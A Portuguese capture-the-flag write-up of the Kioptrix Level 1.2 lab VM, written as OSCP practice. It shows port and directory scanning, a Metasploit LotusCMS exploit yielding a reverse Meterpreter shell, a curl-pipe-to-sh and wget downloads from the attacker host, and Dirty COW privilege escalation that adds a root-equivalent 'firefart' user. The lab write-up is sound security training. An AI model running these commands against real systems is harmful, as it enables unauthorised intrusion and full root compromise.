Essa é a 3/5 box da Kioptrix que faz parte da serie de posts de writeups de box’s que eu estou resolvendo para praticar para a OSCP. So lets roll!
Machine Name: Kioptrix: Level 1.2 (#3)
Resource:https://www.vulnhub.com/entry/kioptrix-level-12-3,24/
Reconhecimento:
Na etapa de reconhecimento do alvo, foi empregado o nmap para execução de scan nas portas visando identificar serviços.
# Nmap 7.60 scan initiated Sat Nov 30 14:01:18 2019 as: nmap -sS -sV -sC --mtu 152 -T 4 -oA nmap_scan 172.16.0.101
Nmap scan report for 172.16.0.101
Host is up (0.0074s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_ 2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
MAC Address: 00:0C:29:96:D6:D3 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 30 14:01:27 2019 -- 1 IP address (1 host up) scanned in 9.02 seconds
O Nmap foi capaz de identificar três serviços, sendo eles SSH(22/tcp) e HTTP(80/tcp). Na aplicação web o nmap conseguiu obter trazer o title da página e informações do header.
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
|_http-title: Ligoat Security - Got Goat? Security ...
Reconhecimento Web:
Dado a superficie de ataque pequena onde foram localizados apenas dois serviços, o ataque foi direcionado para a aplicação web, com isso, foi empregado a ferramenta GoBuster qual tem capacidade de enumerar diretórios e arquivos usando como métrica o HTTP Status code de retorno da página através de um ataque de força bruta.
O GoBuster foi utilizado dentro do container Docker por facilidades de deploy.
$ sudo docker run -v "/opt/SecLists/Discovery/Web-Content/:/wordlists" -v "pwd:/output" --rm devalias/gobuster -l -e -s 200,204,403 -u 'http://172.16.0.101/' -w /wordlists/big.txt -t 200 -x php,cnf,conf,js,asp,aspx -o /output/gobusterDir -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" -f
Gobuster v1.3 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://172.16.0.101/
[+] Threads : 200
[+] Wordlist : /wordlists/big.txt
[+] Output file : /output/gobusterDir
[+] Status codes : 200,204,403
[+] User Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
[+] Show length : true
[+] Extensions : .php,.cnf,.conf,.js,.asp,.aspx
[+] Add Slash : true
[+] Expanded : true
=====================================================
http://172.16.0.101/.htpasswd/ (Status: 403) [Size: 329]
http://172.16.0.101/.htaccess/ (Status: 403) [Size: 329]
http://172.16.0.101/.htaccess.php (Status: 403) [Size: 332]
http://172.16.0.101/.htaccess.cnf (Status: 403) [Size: 332]
http://172.16.0.101/.htaccess.conf (Status: 403) [Size: 333]
http://172.16.0.101/.htaccess.js (Status: 403) [Size: 331]
http://172.16.0.101/.htaccess.asp (Status: 403) [Size: 332]
http://172.16.0.101/.htaccess.aspx (Status: 403) [Size: 333]
http://172.16.0.101/.htpasswd.php (Status: 403) [Size: 332]
http://172.16.0.101/.htpasswd.cnf (Status: 403) [Size: 332]
http://172.16.0.101/.htpasswd.conf (Status: 403) [Size: 333]
http://172.16.0.101/.htpasswd.js (Status: 403) [Size: 331]
http://172.16.0.101/.htpasswd.asp (Status: 403) [Size: 332]
http://172.16.0.101/.htpasswd.aspx (Status: 403) [Size: 333]
http://172.16.0.101/cache/ (Status: 200) [Size: 1819]
http://172.16.0.101/core/ (Status: 200) [Size: 0]
http://172.16.0.101/data/ (Status: 403) [Size: 324]
http://172.16.0.101/icons/ (Status: 200) [Size: 69404]
http://172.16.0.101/index.php (Status: 200) [Size: 1819]
http://172.16.0.101/modules/ (Status: 200) [Size: 2183]
http://172.16.0.101/phpmyadmin/ (Status: 200) [Size: 8136]
http://172.16.0.101/server-status/ (Status: 403) [Size: 333]
http://172.16.0.101/style/ (Status: 200) [Size: 0]
http://172.16.0.101/update.php (Status: 200) [Size: 18]
http://172.16.0.101/modules/
Foi possível identificar diversos diretórios onde o Status obtido foi de 200, contudo não existem informações suficientes ainda para a execução do ataque. Durante a analise manual, diversos pontos foram levantados e no decorrer da analise foi identificado que é um CMS conhecido como Lotus. Esse CMS possui algumas vulnerabilidades e um módulo conhecido como exploit/multi/http/lcms_php_exec https://www.rapid7.com/db/modules/exploit/multi/http/lcms_php_exec foi identificado no Metasploit.
Exploitation:
No msfconsole, foi selecionado o módulo multi/http/lcms_php_exec, as opções de ataque foram preenchidas com as informações do alvo e o ataque foi disparado.
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /lcms/ yes URI
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
msf5 exploit(multi/http/lcms_php_exec) > set RHOSTS 172.16.0.101
RHOSTS => 172.16.0.101
msf5 exploit(multi/http/lcms_php_exec) > set URI /index.php?system=Admin
URI => /index.php?system=Admin
msf5 exploit(multi/http/lcms_php_exec) > show options
Module options (exploit/multi/http/lcms_php_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 172.16.0.101 yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
URI /index.php?system=Admin yes URI
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 Automatic LotusCMS 3.0
No momento do disparo, a aplicação respondeu bem e realizou a conexão reversa com a máquina do invasor.
msf5 exploit(multi/http/lcms_php_exec) > run
[*] Started reverse TCP handler on 172.16.0.24:4444
[*] Using found page param: /index.php?page=index
[*] Sending exploit ...
[*] Sending stage (38247 bytes) to 172.16.0.101
[*] Meterpreter session 1 opened (172.16.0.24:4444 -> 172.16.0.101:36537) at 2019-11-30 17:37:26 -0200
meterpreter > ls
Listing: /home/www/kioptrix3.com
================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 4096 dir 2011-04-15 10:21:17 -0300 cache
40777/rwxrwxrwx 4096 dir 2011-04-14 13:23:04 -0300 core
40777/rwxrwxrwx 4096 dir 2011-04-14 13:23:04 -0300 data
100644/rw-r--r-- 23126 fil 2009-06-05 16:22:00 -0300 favicon.ico
40755/rwxr-xr-x 4096 dir 2011-04-14 12:32:31 -0300 gallery
100644/rw-r--r-- 26430 fil 2007-01-21 21:36:04 -0200 gnu-lgpl.txt
100644/rw-r--r-- 399 fil 2011-02-23 15:29:22 -0300 index.php
40777/rwxrwxrwx 4096 dir 2011-04-14 13:23:06 -0300 modules
40777/rwxrwxrwx 4096 dir 2011-04-14 13:23:13 -0300 style
100644/rw-r--r-- 243 fil 2010-08-05 20:39:10 -0300 update.php
meterpreter > pwd
/home/www/kioptrix3.com
meterpreter > getuid
Server username: www-data (33)
Escalação de Privilégios
O reconhecimento dentro do alvo comprometido foi iniciado visando coletar informações para obter sucesso no processo de escalação de privilégios. Através dos módulos básicos do metasploit é possível levantar informações sobre o alvo comprometido.
meterpreter > sysinfo
Computer : Kioptrix3
OS : Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
Meterpreter : php/linux
A ferramenta Linux Exploit Suggester foi utilizada para automatizar o reconhecimento. A ferramenta sugere exploits para o sistema baseado em versão do kernel, programas e daemons que estão no sistema operacional. Foi necessário iniciar um serviço HTTP na máquina local para que a máquina comprometida realizasse o download.
operador@remember:/var/www/html/exploitsug/linux-exploit-suggester$ sudo python2 -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
Na máquina comprometida, o download foi realizado com sucesso porém o interpretador Bash do sistema comprometido é inferior à versão 4.0, não sendo compativel com o Linux Exploit Suggester.
whereis wget
wget: /usr/bin/wget /usr/share/man/man1/wget.1.gz
curl -s 172.16.0.24/linux-exploit-suggester.sh | sh
wget 172.16.0.24/linux-exploit-suggester.sh -O les.sh
--11:39:52-- http://172.16.0.24/linux-exploit-suggester.sh
=> `les.sh'
Connecting to 172.16.0.24:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 82,207 (80K) [text/x-sh]
0K .......... .......... .......... .......... .......... 62% 3.59 MB/s
50K .......... .......... .......... 100% 3.81 MB/s
11:39:52 (3.67 MB/s) - `les.sh' saved [82207/82207]
chmod +x les.sh
./les.sh
Script needs Bash in version 4.0 or newer. Aborting.
Uma verificação manual foi realizada no sistema comprometido para levantar informações de possíveis exploits para a escalação de privilégios. A partir da shell meterpreter é possível abrir uma shell direto com o sistema com o comando shell, facilitando assim algumas funcionalidades do sistema.
meterpreter > shell
Process 5248 created.
Channel 0 created.
pwd
/home/www/kioptrix3.com
cd /tmp
ls -l
total 0
uname -a
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux
Uma vez que a versão kernel foi identificada e possíveis exploits foram localizados, o procedimento de escalação de privilégios é iniciado(não em um cenário ideal, os exploits não foram testados em um ambiente cópia, but life is just like it) porém, diversos exploits falharam contra o alvo comprometido.
Os seguintes exploits para PrivEsc falharam por diversos motivos, compatibilidade, não vulnerável, problemas no compilador etc.
https://www.exploit-db.com/raw/8556
https://www.exploit-db.com/raw/5093
https://www.exploit-db.com/exploits/5092
https://www.exploit-db.com/raw/33322
https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
https://www.exploit-db.com/exploits/9083
O exploit linux Kernel 2.6.22 < 3.9 – ‘Dirty COW’ ‘PTRACE_POKEDATA’ Race Condition Privilege Escalation (/etc/passwd Method) https://www.exploit-db.com/exploits/40839 obteve exito no processo de escalação de privilégios. O exploit é bem peculiar e barulhento e necessita de um serviço SSH rodando pois ele adiciona um usuário no sistema e a ideia é realizar o acesso via SSH. Na máquina comprometida foi necessário realizar o download od exploit que estava na máquina local e então a compilação do source-code foi realizada.
wget -q 172.16.0.24/40839.c
gcc -pthread 40839.c -o xpl -lcrypt
Tudo pronto para a execução do ataque, o exploit solicita uma senha para o novo usuário chamado de ‘firefart’, esse usuário tem atribuição de uid 0, equivalente ao usuário root porém não é um exploit aconselhado para cenários reais devido ao baraulho que ele gera no sistema.
www-data@Kioptrix3:/tmp$ ./xpl
Please enter the new password: abcd
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fiqR89SNG3Css:0:0:pwned:/root:/bin/bash
mmap: b7fdf000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'abcd'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fiqR89SNG3Css:0:0:pwned:/root:/bin/bash
mmap: b7fdf000
madvise 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password 'abcd'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Posteriormente a execução do exploit é necessário realizar a conexão via SSH com o alvo comprometido,utilizando o novo usuário ‘firefart’ com a credencial definida no momento de execução do exploit.
$ ssh firefart@172.16.0.101
The authenticity of host '172.16.0.101 (172.16.0.101)' can't be established.
RSA key fingerprint is SHA256:NdsBnvaQieyTUKFzPjRpTVK6jDGM/xWwUi46IR/h1jU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '172.16.0.101' (RSA) to the list of known hosts.
firefart@172.16.0.101's password:
Last login: Mon Apr 18 11:29:13 2011
Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
firefart@Kioptrix3:~# id
uid=0(firefart) gid=0(root) groups=0(root)
Conforme o retorno do comando ‘id’, o usuário firefart possui uid 0 e gid 0. Agora com acesso administrativo, resta apenas pegar a bandeira do desafio!
firefart@Kioptrix3:~# cat Congrats.txt Good for you for getting here. Regardless of the matter (staying within the spirit of the game of course) you got here, congratulations are in order. Wasn't that bad now was it. Went in a different direction with this VM. Exploit based challenges are nice. Helps workout that information gathering part, but sometimes we need to get our hands dirty in other things as well. Again, these VMs are beginner and not intented for everyone. Difficulty is relative, keep that in mind. The object is to learn, do some research and have a little (legal) fun in the process. I hope you enjoyed this third challenge. Steven McElrea aka loneferret http://www.kioptrix.com Credit needs to be given to the creators of the gallery webapp and CMS used for the building of the Kioptrix VM3 site. Main page CMS: http://www.lotuscms.org Gallery application: Gallarific 2.1 - Free Version released October 10, 2009
Em breve mais writeups!